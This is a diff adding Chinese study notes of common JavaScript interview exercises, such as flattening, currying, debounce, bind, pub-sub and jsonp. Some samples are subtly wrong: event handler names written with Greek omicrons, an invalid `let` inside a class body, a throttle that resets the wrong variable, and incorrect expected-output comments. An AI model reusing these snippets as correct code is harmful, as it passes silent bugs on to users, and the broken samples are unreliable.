4]]]; + +function flatten(arr) { + return arr.toString() + .split(',') + .map(item => parseInt(item)); +} + +console.log(flatten(arr)); // [1, 2, 3, 4,5] +``` + +通过这两个方法可以将多维数组直接转换成逗号连接的字符串,然后再重新分隔成数组。 + +**(5)ES6 中的 flat** + +我们还可以直接调用 ES6 中的 flat 方法来实现数组扁平化。flat 方法的语法:`arr.flat([depth])` + +其中 depth 是 flat 的参数,depth 是可以传递数组的展开深度(默认不填、数值是 1),即展开一层数组。如果层数不确定,参数可以传进 Infinity,代表不论多少层都要展开: + +```javascript +let arr = [1, [2, [3, 4]]]; +function flatten(arr) { + return arr.flat(Infinity); +} +console.log(flatten(arr)); // [1, 2, 3, 4,5] +``` + +可以看出,一个嵌套了两层的数组,通过将 flat 方法的参数设置为 Infinity,达到了我们预期的效果。其实同样也可以设置成 2,也能实现这样的效果。在编程过程中,如果数组的嵌套层数不确定,最好直接使用 Infinity,可以达到扁平化。 + +**(6)正则和 JSON 方法** 在第4种方法中已经使用 `toString` 方法,其中仍然采用了将 `JSON.stringify` 的方法先转换为字符串,然后通过正则表达式过滤掉字符串中的数组的方括号,最后再利用 `JSON.parse` 把它转换成数组: + +```javascript +let arr = [1, [2, [3, [4, 5]]], 6]; +function flatten(arr) { + let str = JSON.stringify(arr); + str = str.replace(/(\[|\])/g, ''); + str = '[' + str + ']'; + return JSON.parse(str); +} +console.log(flatten(arr)); // [1, 2, 3, 4,5] +``` + +### 6. 实现数组去重 :star::star: + +给定某无序数组,要求去除数组中的重复数字并且返回新的无重复数组。 + +ES6方法(使用数据结构集合): + +```javascript +const array = [1, 2, 3, 5, 1, 5, 9, 1, 2, 8]; + +Array.from(new Set(array)); // [1, 2, 3, 5, 9, 8] +``` + +ES5方法:使用map存储不重复的数字 + +```javascript +const array = [1, 2, 3, 5, 1, 5, 9, 1, 2, 8]; + +uniqueArray(array); // [1, 2, 3, 5, 9, 8] + +function uniqueArray(array) { + let map = {}; + let res = []; + for(var i = 0; i < array.length; i++) { + if(!map.hasOwnProperty([array[i]])) { + map[array[i]] = 1; + res.push(array[i]); + } + } + return res; +} +``` + +### 7. 实现数组的flat方法 + +```javascript +function _flat(arr, depth) { + if(!Array.isArray(arr) || depth <= 0) { + return arr; + } + return arr.reduce((prev, cur) => { + if (Array.isArray(cur)) { + return prev.concat(_flat(cur, depth - 1)) + } else { + return prev.concat(cur); + } + }, []); +} +``` + +### 8. 实现数组的push方法 + +```javascript +let arr = []; +Array.prototype.push = function() { + for( let i = 0 ; i < arguments.length ; i++){ + this[this.length] = arguments[i] ; + } + return this.length; +} +``` + +### 9. 实现数组的filter方法 + +```javascript +Array.prototype._filter = function(fn) { + if (typeof fn !== "function") { + throw Error('参数必须是一个函数'); + } + const res = []; + for (let i = 0, len = this.length; i < len; i++) { + fn(this[i]) && res.push(this[i]); + } + return res; +} +``` + +### 10. 实现数组的map方法 + +```javascript +Array.prototype._map = function(fn) { + if (typeof fn !== "function") { + throw Error('参数必须是一个函数'); + } + const res = []; + for (let i = 0, len = this.length; i < len; i++) { + res.push(fn(this[i])); + } + return res; +} +``` + +### 11. 实现字符串的repeat方法 + +输入字符串s,以及其重复的次数,输出重复的结果,例如输入abc,2,输出abcabc。 + +```javascript +function repeat(s, n) { + return (new Array(n + 1)).join(s); +} +``` + +递归: + +```javascript +function repeat(s, n) { + return (n > 0) ? s.concat(repeat(s, --n)) : ""; +} +``` + +### 12. 实现字符串翻转 + +在字符串的原型链上添加一个方法,实现字符串翻转: + +```javascript +String.prototype._reverse = function(a){ + return a.split("").reverse().join(""); +} +var obj = new String(); +var res = obj._reverse ('hello'); +console.log(res); // olleh +``` + +需要注意的是,必须通过实例化对象之后再去调用定义的方法,不然找不到该方法。 + +### 13. 将数字每千分位用逗号隔开:star::star: + +**数字有小数版本:** + +```javascript +let format = n => { + let num = n.toString() // 转成字符串 + let decimals = '' + // 判断是否有小数 + num.indexOf('.') > -1 ? decimals = num.split('.')[1] : decimals + let len = num.length + if (len <= 3) { + return num + } else { + let temp = '' + let remainder = len % 3 + decimals ? temp = '.' + decimals : temp + if (remainder > 0) { // 不是3的整数倍 + return num.slice(0, remainder) + ',' + num.slice(remainder, len).match(/\d{3}/g).join(',') + temp + } else { // 是3的整数倍 + return num.slice(0, len).match(/\d{3}/g).join(',') + temp + } + } +} +format(12323.33) // '12,323.33' +``` + +**数字无小数版本:** + +```javascript +let format = n => { + let num = n.toString() + let len = num.length + if (len <= 3) { + return num + } else { + let remainder = len % 3 + if (remainder > 0) { // 不是3的整数倍 + return num.slice(0, remainder) + ',' + num.slice(remainder, len).match(/\d{3}/g).join(',') + } else { // 是3的整数倍 + return num.slice(0, len).match(/\d{3}/g).join(',') + } + } +} +format(1232323) // '1,232,323' +``` + +[1556. 千位分隔数](https://leetcode-cn.com/problems/thousand-separator/) :star: + +```js +/** + * @param {number} n + * @return {string} + */ +var thousandSeparator = function (n) { + return n.toString().split('').reduce((pre, cur, index, arr) => { + if (index !== 0 && (arr.length - index) % 3 === 0) { + return pre + '.' + cur + } else { + return pre + cur + } + }, '') +}; +``` + +### 14. 实现非负大整数相加:star::star: + +JavaScript对数值有范围的限制,限制如下: + +```javascript +Number.MAX_VALUE // 1.7976931348623157e+308 +Number.MAX_SAFE_INTEGER // 9007199254740991 +Number.MIN_VALUE // 5e-324 +Number.MIN_SAFE_INTEGER // -9007199254740991 +``` + +如果想要对一个超大的整数(`> Number.MAX_SAFE_INTEGER`)进行加法运算,但是又想输出一般形式,那么使用 + 是无法达到的,一旦数字超过 `Number.MAX_SAFE_INTEGER` 数字会被立即转换为科学计数法,并且数字精度相比以前将会有误差。 + +实现一个算法进行大数的相加: + +```javascript +function sumBigNumber(a, b) { + let res = ''; + let temp = 0; + + a = a.split(''); + b = b.split(''); + + while (a.length || b.length || temp) { + temp += ~~a.pop() + ~~b.pop(); + res = (temp % 10) + res; + temp = temp > 9 + } + return res.replace(/^0+/, ''); +} +``` + +其主要的思路如下: + +- 首先用字符串的方式来保存大数,这样数字在数学表示上就不会发生变化 +- 初始化res,temp来保存中间的计算结果,并将两个字符串转化为数组,以便进行每一位的加法运算 +- 将两个数组的对应的位进行相加,两个数相加的结果可能大于10,所以可能要仅为,对10进行取余操作,将结果保存在当前位 +- 判断当前位是否大于9,也就是是否会进位,若是则将temp赋值为true,因为在加法运算中,true会自动隐式转化为1,以便于下一次相加 +- 重复上述操作,直至计算结束 + +### 13. 实现 add(1)(2)(3):star::star: 柯里化 + +函数柯里化概念: **柯里化(Currying)是把接受多个参数的函数转变为接受一个单一参数的函数,并且返回接受余下的参数且返回结果的新函数的技术。** + +1)粗暴版 + +```javascript +function add (a) { +return function (b) { + return function (c) { + return a + b + c; + } +} +} +console.log(add(1)(2)(3)); // 6 +``` + +2)柯里化解决方案 + +- 参数长度固定 + +```javascript +var add = function (m) { + var temp = function (n) { + return add(m + n); + } + temp.toString = function () { + return m; + } + return temp; +}; +console.log(add(3)(4)(5)); // 12 +console.log(add(3)(6)(9)(25)); // 43 +``` + +对于add(3)(4)(5),其执行过程如下: + +1. 先执行add(3),此时m=3,并且返回temp函数; +2. 执行temp(4),这个函数内执行add(m+n),n是此次传进来的数值4,m值还是上一步中的3,所以add(m+n)=add(3+4)=add(7),此时m=7,并且返回temp函数 +3. 执行temp(5),这个函数内执行add(m+n),n是此次传进来的数值5,m值还是上一步中的7,所以add(m+n)=add(7+5)=add(12),此时m=12,并且返回temp函数 +4. 由于后面没有传入参数,等于返回的temp函数不被执行而是打印,了解JS的朋友都知道对象的toString是修改对象转换字符串的方法,因此代码中temp函数的toString函数return m值,而m值是最后一步执行函数时的值m=12,所以返回值是12。 + +- 参数长度不固定 + +```javascript +function add (...args) { + //求和 + return args.reduce((a, b) => a + b) +} +function currying (fn) { + let args = [] + return function temp (...newArgs) { + if (newArgs.length) { + args = [ + ...args, + ...newArgs + ] + return temp + } else { + let val = fn.apply(this, args) + args = [] //保证再次调用时清空 + return val + } + } +} +let addCurry = currying(add) +console.log(addCurry(1)(2)(3)(4, 5)()) //15 +console.log(addCurry(1)(2)(3, 4, 5)()) //15 +console.log(addCurry(1)(2, 3, 4, 5)()) //15 +``` + +### 14. 实现类数组转化为数组 + +类数组转换为数组的方法有这样几种: + +- 通过 call 调用数组的 slice 方法来实现转换 + +```javascript +Array.prototype.slice.call(arrayLike); +``` + +- 通过 call 调用数组的 splice 方法来实现转换 + +```javascript +Array.prototype.splice.call(arrayLike, 0); +``` + +- 通过 apply 调用数组的 concat 方法来实现转换 + +```javascript +Array.prototype.concat.apply([], arrayLike); +``` + +- 通过 Array.from 方法来实现转换 + +```javascript +Array.from(arrayLike); +``` + +### 15. 使用 reduce 求和 + +arr = [1,2,3,4,5,6,7,8,9,10],求和 + +```javascript +let arr = [1,2,3,4,5,6,7,8,9,10] +arr.reduce((prev, cur) => { return prev + cur }, 0) +``` + +arr = [1,2,3,[[4,5],6],7,8,9],求和 + +```javascript +let arr = [1,2,3,4,5,6,7,8,9,10] +arr.flat(Infinity).reduce((prev, cur) => { return prev + cur }, 0) +``` + +arr = [{a:1, b:3}, {a:2, b:3, c:4}, {a:3}],求和 + +```javascript +let arr = [{a:9, b:3, c:4}, {a:1, b:3}, {a:3}] + +arr.reduce((prev, cur) => { + return prev + cur["a"]; +}, 0) +``` + +### 16. 将js对象转化为树形结构 + +```javascript +// 转换前: +source = [{ + id: 1, + pid: 0, + name: 'body' + }, { + id: 2, + pid: 1, + name: 'title' + }, { + id: 3, + pid: 2, + name: 'div' + }] +// 转换为: +tree = [{ + id: 1, + pid: 0, + name: 'body', + children: [{ + id: 2, + pid: 1, + name: 'title', + children: [{ + id: 3, + pid: 1, + name: 'div' + }] + } + }] +``` + +代码实现: + +```javascript +function jsonToTree(data) { + // 初始化结果数组,并判断输入数据的格式 + let result = [] + if(!Array.isArray(data)) { + return result + } + // 使用map,将当前对象的id与当前对象对应存储起来 + let map = {}; + data.forEach(item => { + map[item.id] = item; + }); + // + data.forEach(item => { + let parent = map[item.pid]; + if(parent) { + (parent.children || (parent.children = [])).push(item); + } else { + result.push(item); + } + }); + return result; +} +``` + +### 17. 使用ES5和ES6求函数参数的和 :star::star: + +ES5: + +```javascript +function sum() { + let sum = 0 + Array.prototype.forEach.call(arguments, function(item) { + sum += item * 1 + }) + return sum +} +``` + +ES6: + +```javascript +function sum(...nums) { + let sum = 0 + nums.forEach(function(item) { + sum += item * 1 + }) + return sum +} +``` + +### 18. 解析 URL Params 为对象 + +```javascript +let url = 'http://www.domain.com/?user=anonymous&id=123&id=456&city=%E5%8C%97%E4%BA%AC&enabled'; +parseParam(url) +/* 结果 +{ user: 'anonymous', + id: [ 123, 456 ], // 重复出现的 key 要组装成数组,能被转成数字的就转成数字类型 + city: '北京', // 中文需解码 + enabled: true, // 未指定值得 key 约定为 true +} +*/ +function parseParam(url) { + const paramsStr = /.+\?(.+)$/.exec(url)[1]; // 将 ? 后面的字符串取出来 + const paramsArr = paramsStr.split('&'); // 将字符串以 & 分割后存到数组中 + let paramsObj = {}; + // 将 params 存到对象中 + paramsArr.forEach(param => { + if (/=/.test(param)) { // 处理有 value 的参数 + let [key, val] = param.split('='); // 分割 key 和 value + val = decodeURIComponent(val); // 解码 + val = /^\d+$/.test(val) ? parseFloat(val) : val; // 判断是否转为数字 + if (paramsObj.hasOwnProperty(key)) { // 如果对象有 key,则添加一个值 + paramsObj[key] = [].concat(paramsObj[key], val); + } else { // 如果对象没有这个 key,创建 key 并设置值 + paramsObj[key] = val; + } + } else { // 处理没有 value 的参数 + paramsObj[param] = true; + } + }) + return paramsObj; +} +``` + +## 三、场景应用 + +### 1. 循环打印红黄绿 :star::star: + +下面来看一道比较典型的问题,通过这个问题来对比几种异步编程方法:**红灯 3s 亮一次,绿灯 1s 亮一次,黄灯 2s 亮一次;如何让三个灯不断交替重复亮灯?** + +三个亮灯函数: + +```javascript +function red() { + console.log('red'); +} +function green() { + console.log('green'); +} +function yellow() { + console.log('yellow'); +} +``` + +这道题复杂的地方在于**需要“交替重复”亮灯**,而不是“亮完一次”就结束了。 + +#### (1)用 callback 实现 + +```javascript +const task = (timer, light, callback) => { + setTimeout(() => { + if (light === 'red') { + red() + } + else if (light === 'green') { + green() + } + else if (light === 'yellow') { + yellow() + } + callback() + }, timer) +} +task(3000, 'red', () => { + task(2000, 'green', () => { + task(1000, 'yellow', Function.prototype) + }) +}) +``` + +这里存在一个 bug:代码只是完成了一次流程,执行后红黄绿灯分别只亮一次。该如何让它交替重复进行呢? + +上面提到过递归,可以递归亮灯的一个周期: + +```javascript +const step = () => { + task(3000, 'red', () => { + task(2000, 'green', () => { + task(1000, 'yellow', step) + }) + }) +} +step() +``` + +**注意看黄灯亮的回调里又再次调用了 step 方法** 以完成循环亮灯。 + +#### (2)用 promise 实现 + +```javascript +const task = (timer, light) => + new Promise((resolve, reject) => { + setTimeout(() => { + if (light === 'red') { + red() + } + else if (light === 'green') { + green() + } + else if (light === 'yellow') { + yellow() + } + resolve() // 重要 + }, timer) + }) + +const step = () => { + task(3000, 'red') + .then(() => task(2000, 'green')) + .then(() => task(2100, 'yellow')) + .then(step) +} +step() +``` + +这里将回调移除,在一次亮灯结束后,resolve 当前 promise,并依然使用递归进行。 + +#### (3)用 async/await 实现 + +```javascript +const taskRunner = async () => { + await task(3000, 'red') + await task(2000, 'green') + await task(2100, 'yellow') + taskRunner() +} +taskRunner() +``` + +### 2. 实现每隔一秒打印 1,2,3,4 + +```javascript +// 使用闭包实现 +for (var i = 0; i < 5; i++) { + (function(i) { + setTimeout(function() { + console.log(i); + }, i * 1000); + })(i); +} +// 使用 let 块级作用域 +for (let i = 0; i < 5; i++) { + setTimeout(function() { + console.log(i); + }, i * 1000); +} +``` + +### 3. 小孩报数问题 + +有30个小孩儿,编号从1-30,围成一圈依此报数,1、2、3 数到 3 的小孩儿退出这个圈, 然后下一个小孩 重新报数 1、2、3,问最后剩下的那个小孩儿的编号是多少? + +```javascript +function childNum(num, count){ + let allplayer = []; + for(let i = 0; i < num; i++){ + allplayer[i] = i + 1; + } + + let exitCount = 0; // 离开人数 + let counter = 0; // 记录报数 + let curIndex = 0; // 当前下标 + + while(exitCount < num - 1){ + if(allplayer[curIndex] !== 0) counter++; + + if(counter == count){ + allplayer[curIndex] = 0; + counter = 0; + exitCount++; + } + curIndex++; + if(curIndex == num){ + curIndex = 0 + }; + } + for(i = 0; i < num; i++){ + if(allplayer[i] !== 0){ + return allplayer[i] + } + } +} +childNum(30, 3) +``` + +### 4. 用Promise实现图片的异步加载 + +```javascript +const imageAsync=(url)=>{ + return new Promise((resolve,reject)=>{ + let img = new Image(); + img.src = url; + img.οnlοad=()=>{ + console.log(`图片请求成功,此处进行通用操作`); + resolve(img); + } + img.οnerrοr=(err)=>{ + console.log(`失败,此处进行失败的通用操作`); + reject(err); + } + }) + } + +imageAsync("url").then(()=>{ + console.log("加载成功"); +}).catch((error)=>{ + console.log("加载失败"); +}) +``` + +### 5. 实现发布-订阅模式 + +```javascript +class EventCenter{ + // 1. 定义事件容器,用来装事件数组 + let handlers = {} + + // 2. 添加事件方法,参数:事件名 事件方法 + addEventListener(type, handler) { + // 创建新数组容器 + if (!this.handlers[type]) { + this.handlers[type] = [] + } + // 存入事件 + this.handlers[type].push(handler) + } + + // 3. 触发事件,参数:事件名 事件参数 + dispatchEvent(type, params) { + // 若没有注册该事件则抛出错误 + if (!this.handlers[type]) { + return new Error('该事件未注册') + } + // 触发事件 + this.handlers[type].forEach(handler => { + handler(...params) + }) + } + + // 4. 事件移除,参数:事件名 要删除事件,若无第二个参数则删除该事件的订阅和发布 + removeEventListener(type, handler) { + if (!this.handlers[type]) { + return new Error('事件无效') + } + if (!handler) { + // 移除事件 + delete this.handlers[type] + } else { + const index = this.handlers[type].findIndex(el => el === handler) + if (index === -1) { + return new Error('无该绑定事件') + } + // 移除事件 + this.handlers[type].splice(index, 1) + if (this.handlers[type].length === 0) { + delete this.handlers[type] + } + } + } +} +``` + +### 6. 查找文章中出现频率最高的单词 :star: + +```javascript +function findMostWord(article) { + // 合法性判断 + if (!article) return; + // 参数处理 + article = article.trim().toLowerCase(); + let wordList = article.match(/[a-z]+/g), + visited = [], + maxNum = 0, + maxWord = ""; + article = " " + wordList.join(" ") + " "; + // 遍历判断单词出现次数 + wordList.forEach(function(item) { + if (visited.indexOf(item) < 0) { + // 加入 visited + visited.push(item); + let word = new RegExp(" " + item + " ", "g"), + num = article.match(word).length; + if (num > maxNum) { + maxNum = num; + maxWord = item; + } + } + }); + return maxWord + " " + maxNum; +} +``` + +### 7. 封装异步的fetch,使用async await方式来使用 + +```javascript +(async () => { + class HttpRequestUtil { + async get(url) { + const res = await fetch(url); + const data = await res.json(); + return data; + } + async post(url, data) { + const res = await fetch(url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify(data) + }); + const result = await res.json(); + return result; + } + async put(url, data) { + const res = await fetch(url, { + method: 'PUT', + headers: { + 'Content-Type': 'application/json' + }, + data: JSON.stringify(data) + }); + const result = await res.json(); + return result; + } + async delete(url, data) { + const res = await fetch(url, { + method: 'DELETE', + headers: { + 'Content-Type': 'application/json' + }, + data: JSON.stringify(data) + }); + const result = await res.json(); + return result; + } + } + const httpRequestUtil = new HttpRequestUtil(); + const res = await httpRequestUtil.get('http://golderbrother.cn/'); + console.log(res); +})(); +``` + +### 8. 实现prototype继承 + +所谓的原型链继承就是让新实例的原型等于父类的实例: + +```javascript +//父方法 +function SupperFunction(flag1){ + this.flag1 = flag1; +} + +//子方法 +function SubFunction(flag2){ + this.flag2 = flag2; +} + +//父实例 +var superInstance = new SupperFunction(true); + +//子继承父 +SubFunction.prototype = superInstance; + +//子实例 +var subInstance = new SubFunction(false); +//子调用自己和父的属性 +subInstance.flag1; // true +subInstance.flag2; // false +``` + +### 9. 实现双向数据绑定 :star: + +```javascript +let obj = {} +let input = document.getElementById('input') +let span = document.getElementById('span') +// 数据劫持 +Object.defineProperty(obj, 'text', { + configurable: true, + enumerable: true, + get() { + console.log('获取数据了') + }, + set(newVal) { + console.log('数据更新了') + input.value = newVal + span.innerHTML = newVal + } +}) +// 输入监听 +input.addEventListener('keyup', function(e) { + obj.text = e.target.value +}) +``` + +### 10. 实现简单路由 + +```javascript +// hash路由 +class Route{ + constructor(){ + // 路由存储对象 + this.routes = {} + // 当前hash + this.currentHash = '' + // 绑定this,避免监听时this指向改变 + this.freshRoute = this.freshRoute.bind(this) + // 监听 + window.addEventListener('load', this.freshRoute, false) + window.addEventListener('hashchange', this.freshRoute, false) + } + // 存储 + storeRoute (path, cb) { + this.routes[path] = cb || function () {} + } + // 更新 + freshRoute () { + this.currentHash = location.hash.slice(1) || '/' + this.routes[this.currentHash]() + } +} +``` + +### 11. 实现斐波那契数列 :star: + +```javascript +// 递归 +function fn (n){ + if(n==0) return 0 + if(n==1) return 1 + return fn(n-2)+fn(n-1) +} +// 优化 +function fibonacci2(n) { + const arr = [1, 1, 2]; + const arrLen = arr.length; + + if (n <= arrLen) { + return arr[n]; + } + + for (let i = arrLen; i < n; i++) { + arr.push(arr[i - 1] + arr[ i - 2]); + } + + return arr[arr.length - 1]; +} +// 非递归 +function fn(n) { + let pre1 = 1; + let pre2 = 1; + let current = 2; + + if (n <= 2) { + return current; + } + + for (let i = 2; i < n; i++) { + pre1 = pre2; + pre2 = current; + current = pre1 + pre2; + } + + return current; +} +``` + +### 12. 字符串出现的不重复最长长度 + +用一个滑动窗口装没有重复的字符,枚举字符记录最大值即可。用 map 维护字符的索引,遇到相同的字符,把左边界移动过去即可。挪动的过程中记录最大长度: + +```javascript +var lengthOfLongestSubstring = function (s) { + let map = new Map(); + let i = -1 + let res = 0 + let n = s.length + for (let j = 0; j < n; j++) { + if (map.has(s[j])) { + i = Math.max(i, map.get(s[j])) + } + res = Math.max(res, j - i) + map.set(s[j], j) + } + return res +}; +``` + +### 13. 使用 setTimeout 实现 setInterval :star: + +setInterval 的作用是每隔一段指定时间执行一个函数,但是这个执行不是真的到了时间立即执行,它真正的作用是每隔一段时间将事件加入事件队列中去,只有当当前的执行栈为空的时候,才能去从事件队列中取出事件执行。所以可能会出现这样的情况,就是当前执行栈执行的时间很长,导致事件队列里边积累多个定时器加入的事件,当执行栈结束的时候,这些事件会依次执行,因此就不能到间隔一段时间执行的效果。 + +针对 setInterval 的这个缺点,我们可以使用 setTimeout 递归调用来模拟 setInterval,这样我们就确保了只有一个事件结束了,我们才会触发下一个定时器事件,这样解决了 setInterval 的问题。 + +实现思路是使用递归函数,不断地去执行 setTimeout 从而达到 setInterval 的效果 + +```javascript +function mySetInterval(fn, timeout) { + // 控制器,控制定时器是否继续执行 + var timer = { + flag: true + }; + // 设置递归函数,模拟定时器执行。 + function interval() { + if (timer.flag) { + fn(); + setTimeout(interval, timeout); + } + } + // 启动定时器 + setTimeout(interval, timeout); + // 返回控制器 + return timer; +} +``` + +### 14. 实现 jsonp :star: + +```javascript +// 动态的加载js文件 +function addScript(src) { + const script = document.createElement('script'); + script.src = src; + script.type = "text/javascript"; + document.body.appendChild(script); +} +addScript("http://xxx.xxx.com/xxx.js?callback=handleRes"); +// 设置一个全局的callback函数来接收回调结果 +function handleRes(res) { + console.log(res); +} +// 接口返回的数据格式 +handleRes({a: 1, b: 2}); +``` + +### 15. 判断对象是否存在循环引用 :star: + +循环引用对象本来没有什么问题,但是序列化的时候就会发生问题,比如调用`JSON.stringify()`对该类对象进行序列化,就会报错: `Converting circular structure to JSON.` + +下面方法可以用来判断一个对象中是否已存在循环引用: + +```javascript +const isCycleObject = (obj,parent) => { + const parentArr = parent || [obj]; + for(let i in obj) { + if(typeof obj[i] === 'object') { + let flag = false; + parentArr.forEach((pObj) => { + if(pObj === obj[i]){ + flag = true; + } + }) + if(flag) return true; + flag = isCycleObject(obj[i],[...parentArr,obj[i]]); + if(flag) return true; + } + } + return false; +} + + +const a = 1; +const b = {a}; +const c = {b}; +const o = {d:{a:3},c} +o.c.b.aa = a; + +console.log(isCycleObject(o) +``` + +查找有序二维数组的目标值: + +```javascript +var findNumberIn2DArray = function(matrix, target) { + if (matrix == null || matrix.length == 0) { + return false; + } + let row = 0; + let column = matrix[0].length - 1; + while (row < matrix.length && column >= 0) { + if (matrix[row][column] == target) { + return true; + } else if (matrix[row][column] > target) { + column--; + } else { + row++; + } + } + return false; +}; +``` + +二维数组斜向打印: + +```javascript +function printMatrix(arr){ + let m = arr.length, n = arr[0].length + let res = [] + + // 左上角,从0 到 n - 1 列进行打印 + for (let k = 0; k < n; k++) { + for (let i = 0, j = k; i < m && j >= 0; i++, j--) { + res.push(arr[i][j]); + } + } + + // 右下角,从1 到 n - 1 行进行打印 + for (let k = 1; k < m; k++) { + for (let i = k, j = n - 1; i < m && j >= 0; i++, j--) { + res.push(arr[i][j]); + } + } + return res +} +``` + + + + + diff --git "a/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript\351\253\230\351\242\221\346\211\213\346\222\225.md" "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript\351\253\230\351\242\221\346\211\213\346\222\225.md" new file mode 100644 index 00000000..d43f93aa --- /dev/null +++ "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript\351\253\230\351\242\221\346\211\213\346\222\225.md" @@ -0,0 +1,1280 @@ +--- +date: 2022-03-28 +icon: page +category: +- 面试题 +- 前端 +--- + +# JavaScript高频手撕 + +> 参照: +> +> https://juejin.cn/post/7020562888657993741, +> +> https://juejin.cn/post/7018337760687685669 +> +> 作者:前端胖头鱼 + +## 1. 防抖:star: + +> 搜索场景,自动搜索 + +```js +// 防抖:可以和你的电脑设定了10分钟睡眠时间的场景结合起来理解 +// 如果你一直在用电脑,那么电脑就不会睡眠(频繁的把前一个定时器关掉,开启新的定时器) +// 当你最后一次没操作电脑10分钟之后,电脑陷入睡眠 + +const debounce = function (func, delay) { + let timer = null + + return function (...args) { + clearTimeout(timer) + + timer = setTimeout(() => { + func.apply(this, args) + }, delay) + } +} +``` + +## 2. 节流:star: + +> 节流: 任凭你怎么触发,其在指定的时间间隔内只会触发一次 + +### 基于时间戳(方式1) + +```js +const throttle = function (func, delay) { + let startTime = Date.now() + + return function (...args) { + let lastTime = Date.now() + + if (lastTime - startTime > delay) { + func.apply(this, args) + startTime = Date.now() + } + } +} +``` + +### 基于setTimeout(方式2) + +```js +const throttle = function (func, delay) { + let timer = null; + return function (...args) { + if (!timer) { + timer = setTimeout(() => { + func.apply(this, args); + this.timer = null; + }, delay) + } + } +} +``` + +## 3. 函数柯里化:star: + +```js +const curry = (func, ...args) => { // 传参 + // 获取函数的参数个数 + const fnLen = func.length // 目标函数参数长度 + + return function (...innerArgs) { // 传参 + innerArgs = args.concat(innerArgs) // 参数数组合并 ! + // 参数未搜集足的话,继续递归搜集 + if (innerArgs.length < fnLen) { + return curry.call(this, func, ...innerArgs) // 递归传递,call解构 + // return curry.apply(this, [func, ...innerArgs]) + } else { + // 否则拿着搜集的参数调用func + func.apply(this, innerArgs) + } + } +} +// 测试 +const add = curry((num1, num2, num3) => { + console.log(num1, num2, num3, num1 + num2 + num3) +}) + +add(1)(2)(3) // 1 2 3 6 +add(1, 2)(3) // 1 2 3 6 +add(1, 2, 3) // 1 2 3 6 +add(1)(2, 3) // 1 2 3 6 +``` + +## 4. bind + +> `bind() ` 方法创建一个新的函数,在 `bind()` 被调用时,这个新函数的 `this` 被指定为 `bind()` 的第一个参数,而其余参数将作为新函数的参数,供调用时使用。[MDN](https://link.juejin.cn?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fzh-CN%2Fdocs%2FWeb%2FJavaScript%2FReference%2FGlobal_Objects%2FFunction%2Fbind) + +[姐妹篇 call实现](https://juejin.cn/post/7018337760687685669#heading-18) + +[姐妹篇 apply实现](https://juejin.cn/post/7018337760687685669#heading-19) + +```javascript +Function.prototype.bind2 = function (context, ...args) { + if (typeof this !== 'function') { + throw new TypeError('Bind must be called on a function') + } + + const executeBound = function(sourceFunc, boundFunc, context, callingContext, args) { + if (!(callingContext instanceof boundFunc)) { + // 如果调用方式不是new func的形式就直接调用sourceFunc,并且给到对应的参数即可 + return sourceFunc.apply(context, args) + } else { + // 类似于执行new的几个过程 + const self = Object.create(sourceFunc.prototype) // 处理new调用的形式 + const result = sourceFunc.apply(self, args) + // 判断函数执行后的返回结果 非对象函数,则返回self + if (result && typeof result === 'object' || typeof result === 'function') { + return result + } else { + return self + } + } + } + const func = this + + const bound = function (...innerArgs) { + return executeBound(func, bound, context, this, args.concat(innerArgs)) + } + + return bound +} + +// 测试 +// 1. 普通调用 +const showName = function (sex, age) { + console.log(this, sex, age) +} + +showName.bind2({ name: '前端胖头鱼' }, 'boy')(100) // { name: '前端胖头鱼' } 'boy' 100 + +// 2. new 调用 +const Person = function (name) { + this.name = name +} + +Person.prototype.showName = function (age) { + console.log(this, this.name, age) +} + +const bindPerson = Person.bind(null, 'boy') +const p1 = new bindPerson('前端胖头鱼') + +p1.showName(100) // Person { name: 'boy' } 'boy' 100 +复制代码 +``` + +## 5. 实现一个简易版模板引擎 + +> jQuery时代,模板引擎用的还是比较多的,可以理解为它是这样一个函数,通过模板 + 数据经过一段黑盒操作最后得到需要展示的页面 + +```javascript +const render = (template, data) => { + // \s*?是为了兼容{{name}} {{ name }}这种写法 + return template.replace(/{{\s*?(\w+)\s*?}}/g, (match, key) => { + // 匹配中了则读取替换,否则替换为空字符串 + return key && data.hasOwnProperty(key) ? data[ key ] : '' + }) +} +const data = { + name: '前端胖头鱼', + age: 100 +} +const template = ` + 我是: {{ name }} + 年龄是: {{age}} +` +console.log(render(template, data)) +/* +我是: 前端胖头鱼 +年龄是: 100 +*/ +``` + +## 6. 类数组转化为数组的4种方式 + +```javascript +// 类数组转化为数组 +const arrayLikeObj = { + 0: '前端胖头鱼', + 1: 100, + length: 2 +} + +// 1. [].slice +console.log([].slice.call(arrayLikeObj)) +// 2. Array.from ! +console.log(Array.from(arrayLikeObj)) +// 3. Array.apply ! +console.log(Array.apply(null, arrayLikeObj)) +// 4. [].concat +console.log([].concat.apply([], arrayLikeObj)) +``` + +## 7. 请实现 DOM2JSON 一个函数,可以把一个 DOM 节点输出 JSON 的格式 + +```js +const dom2json = (rootDom) => { + if (!rootDom) { + return + } + + let rootObj = { + tagName: rootDom.tagName, + children: [] + } + + const children = rootDom.children + // 读取子节点(元素节点) + if (children && children.length) { + Array.from(children).forEach((ele, i) => { + // 递归处理 + rootObj.children[ i ] = dom2json(ele) + }) + } + + return rootObj +} +``` + +## 8. 列表转树形结构 + +> 相信大家工作中也遇到过类似的问题,前端需要的是树形结构的数据,但是后台返回的是一个list,我们需要将list转化为树形结构(当然这里你也可以把你的`后端同学干啪`为啥不给我想要的数据)。 + +```javascript +const arrayToTree = (array) => { + const hashMap = {} + let result = [] + + array.forEach((it) => { + const { id, pid } = it + + // 不存在时,先声明children树形 + // 这一步也有可能在下面出现 + if (!hashMap[id]) { + hashMap[id] = { + children: [] + } + } + + hashMap[id] = { + ...it, + children: hashMap[id].children + } + // 处理当前的item + const treeIt = hashMap[id] + + // 根节点,直接push + if (pid === 0) { + result.push(treeIt) + } else { + // 也有可能当前节点的父父节点还没有加入hashMap,所以需要单独处理一下 + if (!hashMap[pid]) { + hashMap[pid] = { + children: [] + } + } + // 非根节点的话,找到父节点,把自己塞到父节点的children中即可 + hashMap[pid].children.push(treeIt) + } + }) + + return result +} + +// 测试 +const data = [ + // 注意这里,专门把pid为1的元素放一个在前面 + { id: 2, name: '部门2', pid: 1 }, + { id: 1, name: '部门1', pid: 0 }, + { id: 3, name: '部门3', pid: 1 }, + { id: 4, name: '部门4', pid: 3 }, + { id: 5, 